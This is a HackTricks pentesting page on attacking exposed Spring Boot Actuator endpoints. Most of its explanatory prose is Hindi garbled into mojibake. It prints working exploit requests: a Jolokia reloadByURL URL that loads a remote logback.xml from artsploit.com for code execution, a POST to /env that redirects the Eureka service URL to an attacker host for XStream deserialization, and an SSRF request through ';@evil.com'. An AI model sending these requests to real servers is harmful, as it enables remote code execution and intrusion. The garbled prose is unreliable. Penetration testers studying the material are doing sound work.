hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

7.6 KiB

Spring Actuators

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

  • Spring Boot Actuators рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдЬреИрд╕реЗ /health, /trace, /beans, /env, рдЖрджрд┐ рдХреЛ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░рддреЗ рд╣реИрдВред рд╕рдВрд╕реНрдХрд░рдг 1 рд╕реЗ 1.4 рдореЗрдВ, рдпреЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВред рд╕рдВрд╕реНрдХрд░рдг 1.5 рд╕реЗ рдЖрдЧреЗ, рдХреЗрд╡рд▓ /health рдФрд░ /info рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЧреИрд░-рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЕрдХреНрд╕рд░ рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрдВрдж рдХрд░ рджреЗрддреЗ рд╣реИрдВред
  • рдХреБрдЫ Actuator рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рд╣рд╛рдирд┐рдХрд╛рд░рдХ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, рдФрд░ /heapdumpред
  • Spring Boot 1.x рдореЗрдВ, рдПрдХреНрдЯреНрдпреВрдПрдЯрд░реНрд╕ рдХреЛ рд░реВрдЯ URL рдХреЗ рддрд╣рдд рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ 2.x рдореЗрдВ, рд╡реЗ /actuator/ рдмреЗрд╕ рдкрд╛рде рдХреЗ рддрд╣рдд рд╣реЛрддреЗ рд╣реИрдВред

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':
  • /jolokia рдПрдХреНрдЯреНрдпреВрдПрдЯрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЬреЛрд▓реЛрдХреАрдпрд╛ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ MBeans рддрдХ HTTP рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • reloadByURL рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реЙрдЧрд┐рдВрдЧ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдПрдХ рдмрд╛рд╣рд░реА URL рд╕реЗ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЕрдВрдзреЗ XXE рдпрд╛ рдХрд╕реНрдЯрдо XML рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xmlред
  1. Config Modification via '/env':
  • рдпрджрд┐ Spring Cloud Libraries рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ /env рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░реНрдпрд╛рд╡рд░рдгреАрдп рдЧреБрдгреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • рдЧреБрдгреЛрдВ рдХрд╛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ Eureka serviceURL рдореЗрдВ XStream deserialization vulnerabilityред
  • рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ POST рдЕрдиреБрд░реЛрдз:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • рдЧреБрдг рдЬреИрд╕реЗ spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, рдФрд░ spring.datasource.tomcat.max-active рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ SQL injection рдпрд╛ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рдмрджрд▓рдирд╛ред

Additional Information:

  • рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдПрдХреНрдЯреНрдпреВрдПрдЯрд░реНрд╕ рдХреА рдПрдХ рд╡реНрдпрд╛рдкрдХ рд╕реВрдЪреА рдпрд╣рд╛рдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИред
  • Spring Boot 2.x рдореЗрдВ /env рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЧреБрдг рд╕рдВрд╢реЛрдзрди рдХреЗ рд▓рд┐рдП JSON рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рд╛рдорд╛рдиреНрдп рдЕрд╡рдзрд╛рд░рдгрд╛ рд╕рдорд╛рди рд░рд╣рддреА рд╣реИред
  1. Env + H2 RCE:
  • /env рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ H2 рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЗ рд╕рдВрдпреЛрдЬрди рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • HTTP рдкрде рдирд╛рдореЛрдВ рдореЗрдВ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдкреИрд░рд╛рдореАрдЯрд░ (;) рдХреЗ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдХрд╛ Spring рдлреНрд░реЗрдорд╡рд░реНрдХ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЕрдиреБрд░реЛрдз рдзреЛрдЦрд╛рдзрдбрд╝реА (SSRF) рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • рдЙрджрд╛рд╣рд░рдг рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЕрдиреБрд░реЛрдз:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %} {% endhint %}